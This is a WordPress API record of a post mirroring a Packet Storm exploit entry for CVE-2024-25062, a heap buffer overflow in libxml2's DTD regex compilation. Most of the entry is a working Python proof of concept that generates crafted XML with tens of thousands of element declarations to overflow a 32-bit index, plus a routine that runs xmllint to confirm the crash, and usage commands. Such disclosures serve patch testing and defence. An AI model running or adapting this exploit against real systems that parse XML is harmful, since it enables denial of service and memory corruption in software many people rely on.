{"id":28304,"date":"2025-12-02T15:33:18","date_gmt":"2025-12-02T15:33:18","guid":{"rendered":"http:\/\/localhost\/?p=28304"},"modified":"2025-12-02T15:33:18","modified_gmt":"2025-12-02T15:33:18","slug":"libxml2-2914-2022-heap-buffer-overflow","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=28304","title":{"rendered":"\ud83d\udcc4 libxml2 2.9.14 (2022) Heap Buffer Overflow_PACKETSTORM:212322"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-02T19:40:53&#8243;,&#8221;description&#8221;:&#8221;libxml2 version 2.9.14 2022 proof of concept exploit for a heap buffer overflow in the xmlRegEpxFromParse function in xmlregexp.c&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-02T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-02T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 libxml2 2.9.14 (2022) Heap Buffer Overflow&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212322&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-25062&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : libxml2 2.9.14 (2022) heap buffer overflow                                                                                  |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/gitlab.gnome.org\/GNOME\/libxml2                                                                                      |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/207181\/ \\u0026  CVE-2024-25062\\n    \\n    [+] Summary : \\n                 \\n                 A heap buffer overflow vulnerability was identified in libxml2, specifically within the function xmlRegEpxFromParse in xmlregexp.c. \\n    \\t\\t\\t The flaw results from a 32\u2011bit integer overflow during index calculation in the regular\u2011expression compilation phase used for DTD validation. \\n    \\t\\t\\t This overflow causes out\u2011of\u2011bounds read and write operations on the transitions table, potentially leading to memory corruption or application crashes when processing specially crafted XML content models.\\n                 The issue is confirmed in libxml2 version 2.9.14 (2022) and remains present in the latest development version \\n    \\t\\t\\t (HEAD: 4d69f91b25bae1e276bb38a0d91a54bade9e5e72) prior to the security fix. The vulnerability affects all platforms where libxml2 is deployed, including Linux, macOS, Windows, BSD, and embedded systems.\\n    \\t\\t\\t \\n    [+] POC :\\n    \\n    Python PoC for Generating Malicious XML :\\n    \\n    #!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    CVE-2024-25062: libxml2 Heap Buffer Overflow PoC\\n    Integer overflow in xmlRegEpxFromParse function\\n    By indoushka\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import sys\\n    import os\\n    import subprocess\\n    \\n    def generate_malicious_xml():\\n        \\&#8221;\\&#8221;\\&#8221;\\n        Generate XML file with specially crafted DTD to trigger the vulnerability\\n        \\&#8221;\\&#8221;\\&#8221;\\n        # Magic number to trigger integer overflow\\n        NUM_ELEMENTS = 46341\\n        \\n        print(f\\&#8221;[+] Generating malicious XML with {NUM_ELEMENTS} elements&#8230;\\&#8221;)\\n        \\n        # Create element names\\n        element_names = [f\\&#8221;a{i}\\&#8221; for i in range(NUM_ELEMENTS)]\\n        \\n        # Content model &#8211; very long sequence\\n        content_model = \\&#8221;,\\&#8221;.join(element_names)\\n        \\n        # Element declarations\\n        element_decls = \\&#8221;\\\\n\\&#8221;.join(f\\&#8221;    \\u003c!ELEMENT {name} EMPTY\\u003e\\&#8221; for name in element_names)\\n        \\n        # Complete XML content\\n        xml_content = f&#8221;&#8217;\\u003c?xml version=\\&#8221;1.0\\&#8221; encoding=\\&#8221;UTF-8\\&#8221;?\\u003e\\n    \\u003c!DOCTYPE root [\\n        \\u003c!ELEMENT root ({content_model})\\u003e\\n    {element_decls}\\n    ]\\u003e\\n    \\u003croot\\u003e\\n    {&#8216; &#8216;.join(f&#8217;\\u003c{name}\/\\u003e&#8217; for name in element_names[:100])}\\n    \\u003c\/root\\u003e\\n    &#8221;&#8217;\\n        \\n        return xml_content\\n    \\n    def generate_optimized_poc():\\n        \\&#8221;\\&#8221;\\&#8221;\\n        Optimized PoC version using fewer elements while maintaining the effect\\n        \\&#8221;\\&#8221;\\&#8221;\\n        # Try different sizes to find minimum required\\n        test_sizes = [46341, 40000, 32768, 30000]\\n        \\n        for size in test_sizes:\\n            print(f\\&#8221;[+] Testing with {size} elements&#8230;\\&#8221;)\\n            \\n            element_names = [f\\&#8221;el{i}\\&#8221; for i in range(size)]\\n            content_model = \\&#8221;,\\&#8221;.join(element_names)\\n            \\n            xml_content = f&#8221;&#8217;\\u003c?xml version=\\&#8221;1.0\\&#8221;?\\u003e\\n    \\u003c!DOCTYPE doc [\\n        \\u003c!ELEMENT doc ({content_model})\\u003e\\n        {\\&#8221;\\&#8221;.join(f&#8217;\\u003c!ELEMENT el{i} EMPTY\\u003e&#8217; for i in range(size))}\\n    ]\\u003e\\n    \\u003cdoc\/\\u003e\\n    &#8221;&#8217;\\n            \\n            filename = f\\&#8221;poc_{size}.xml\\&#8221;\\n            with open(filename, \\&#8221;w\\&#8221;) as f:\\n                f.write(xml_content)\\n            print(f\\&#8221;[+] Created: {filename}\\&#8221;)\\n    \\n    def create_simple_poc():\\n        \\&#8221;\\&#8221;\\&#8221;\\n        Create simplified PoC for quick testing\\n        \\&#8221;\\&#8221;\\&#8221;\\n        NUM_ELEMENTS = 46341\\n        \\n        element_names = [f\\&#8221;x{i}\\&#8221; for i in range(NUM_ELEMENTS)]\\n        content_model = \\&#8221;,\\&#8221;.join(element_names[:NUM_ELEMENTS])\\n        \\n        xml_content = f&#8221;&#8217;\\u003c!DOCTYPE root [\\n    \\u003c!ELEMENT root ({content_model})\\u003e\\n    {\\&#8221;\\&#8221;.join(f&#8217;\\u003c!ELEMENT x{i} EMPTY\\u003e&#8217; for i in range(NUM_ELEMENTS))}\\n    ]\\u003e\\n    \\u003croot\/\\u003e\\n    &#8221;&#8217;\\n        \\n        with open(\\&#8221;simple_poc.xml\\&#8221;, \\&#8221;w\\&#8221;) as f:\\n            f.write(xml_content)\\n        print(\\&#8221;[+] Created: simple_poc.xml\\&#8221;)\\n    \\n    def test_with_xmllint():\\n        \\&#8221;\\&#8221;\\&#8221;\\n        Automatically test the generated PoC with xmllint\\n        \\&#8221;\\&#8221;\\&#8221;\\n        print(\\&#8221;[+] Testing with xmllint&#8230;\\&#8221;)\\n        \\n        # Generate the malicious XML\\n        xml_content = generate_malicious_xml()\\n        with open(\\&#8221;test_crash.xml\\&#8221;, \\&#8221;w\\&#8221;) as f:\\n            f.write(xml_content)\\n        \\n        # Try to find xmllint\\n        xmllint_paths = [\\n            \\&#8221;.\/libxml2\/.libs\/xmllint\\&#8221;,\\n            \\&#8221;\/usr\/bin\/xmllint\\&#8221;,\\n            \\&#8221;xmllint\\&#8221;\\n        ]\\n        \\n        xmllint = None\\n        for path in xmllint_paths:\\n            if os.path.exists(path) or subprocess.run([\\&#8221;which\\&#8221;, path.split(&#8216;\/&#8217;)[-1]], capture_output=True).returncode == 0:\\n                xmllint = path\\n                break\\n        \\n        if not xmllint:\\n            print(\\&#8221;[-] xmllint not found\\&#8221;)\\n            return\\n        \\n        print(f\\&#8221;[+] Using xmllint at: {xmllint}\\&#8221;)\\n        \\n        # Run the test\\n        try:\\n            result = subprocess.run(\\n                [xmllint, \\&#8221;&#8211;valid\\&#8221;, \\&#8221;test_crash.xml\\&#8221;],\\n                capture_output=True,\\n                text=True,\\n                timeout=10\\n            )\\n            \\n            if result.returncode != 0:\\n                print(\\&#8221;[+] SUCCESS: xmllint crashed or returned error (vulnerable)\\&#8221;)\\n                print(f\\&#8221;    Return code: {result.returncode}\\&#8221;)\\n                if result.stderr:\\n                    print(f\\&#8221;    Error: {result.stderr[:200]}&#8230;\\&#8221;)\\n            else:\\n                print(\\&#8221;[-] UNEXPECTED: xmllint processed file without crash\\&#8221;)\\n                \\n        except subprocess.TimeoutExpired:\\n            print(\\&#8221;[+] SUCCESS: xmllint timed out (possibly vulnerable)\\&#8221;)\\n        except Exception as e:\\n            print(f\\&#8221;[+] Exception during testing: {e}\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        print(\\&#8221;=\\&#8221; * 60)\\n        print(\\&#8221;libxml2 Heap Buffer Overflow PoC &#8211; CVE-2024-25062\\&#8221;)\\n        print(\\&#8221;Integer overflow in xmlRegEpxFromParse\\&#8221;)\\n    \\tprint(\\&#8221;By indoushka\\&#8221;)\\n        print(\\&#8221;=\\&#8221; * 60)\\n        \\n        if len(sys.argv) \\u003e 1:\\n            if sys.argv[1] == \\&#8221;simple\\&#8221;:\\n                create_simple_poc()\\n            elif sys.argv[1] == \\&#8221;optimized\\&#8221;:\\n                generate_optimized_poc()\\n            elif sys.argv[1] == \\&#8221;test\\&#8221;:\\n                test_with_xmllint()\\n            else:\\n                # Create single file\\n                xml_content = generate_malicious_xml()\\n                with open(\\&#8221;malicious.xml\\&#8221;, \\&#8221;w\\&#8221;) as f:\\n                    f.write(xml_content)\\n                print(\\&#8221;[+] Created: malicious.xml\\&#8221;)\\n        else:\\n            # Default: create all test files\\n            generate_optimized_poc()\\n            \\n        print(\\&#8221;\\\\n[+] Usage instructions:\\&#8221;)\\n        print(\\&#8221;    python3 poc.py optimized    # Generate test files\\&#8221;)\\n        print(\\&#8221;    python3 poc.py test         # Auto-test with xmllint\\&#8221;)\\n        print(\\&#8221;    xmllint &#8211;valid poc_46341.xml\\&#8221;)\\n        print(\\&#8221;    OR\\&#8221;)\\n        print(\\&#8221;    python3 poc.py | xmllint &#8211;valid -\\&#8221;)\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212322&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.5,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212322\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-02T19:40:53&#8243;,&#8221;description&#8221;:&#8221;libxml2 version 2.9.14 2022 proof of concept exploit for a heap buffer overflow in the xmlRegEpxFromParse function in xmlregexp.c&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-02T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-02T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 libxml2 2.9.14 (2022) Heap Buffer Overflow&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212322&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-25062&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-28304","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 libxml2 2.9.14 (2022) Heap Buffer Overflow_PACKETSTORM:212322 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=28304\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 libxml2 2.9.14 (2022) Heap Buffer Overflow_PACKETSTORM:212322 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-02T19:40:53&#8243;,&#8221;description&#8221;:&#8221;libxml2 version 2.9.14 2022 proof of concept exploit for a heap buffer overflow in the xmlRegEpxFromParse function in xmlregexp.c&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-02T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-02T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 libxml2 2.9.14 (2022) Heap Buffer Overflow&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212322&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-25062&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=28304\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-02T15:33:18+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28304#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28304\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 libxml2 2.9.14 (2022) Heap Buffer Overflow_PACKETSTORM:212322\",\"datePublished\":\"2025-12-02T15:33:18+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28304\"},\"wordCount\":1142,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.5\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=28304#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28304\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28304\",\"name\":\"\ud83d\udcc4 libxml2 2.9.14 (2022) Heap Buffer Overflow_PACKETSTORM:212322 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-02T15:33:18+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28304#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=28304\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=28304#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 libxml2 2.9.14 (2022) Heap Buffer Overflow_PACKETSTORM:212322\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 libxml2 2.9.14 (2022) Heap Buffer Overflow_PACKETSTORM:212322 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=28304","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 libxml2 2.9.14 (2022) Heap Buffer Overflow_PACKETSTORM:212322 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-02T19:40:53&#8243;,&#8221;description&#8221;:&#8221;libxml2 version 2.9.14 2022 proof of concept exploit for a heap buffer overflow in the xmlRegEpxFromParse function in xmlregexp.c&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-02T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-02T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 libxml2 2.9.14 (2022) Heap Buffer Overflow&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212322&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2024-25062&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================n...","og_url":"https:\/\/zero.redgem.net\/?p=28304","og_site_name":"zero redgem","article_published_time":"2025-12-02T15:33:18+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=28304#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=28304"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 libxml2 2.9.14 (2022) Heap Buffer Overflow_PACKETSTORM:212322","datePublished":"2025-12-02T15:33:18+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=28304"},"wordCount":1142,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.5","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=28304#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=28304","url":"https:\/\/zero.redgem.net\/?p=28304","name":"\ud83d\udcc4 libxml2 2.9.14 (2022) Heap Buffer Overflow_PACKETSTORM:212322 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-02T15:33:18+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=28304#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=28304"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=28304#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 libxml2 2.9.14 (2022) Heap Buffer Overflow_PACKETSTORM:212322"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/28304","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=28304"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/28304\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=28304"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=28304"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=28304"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}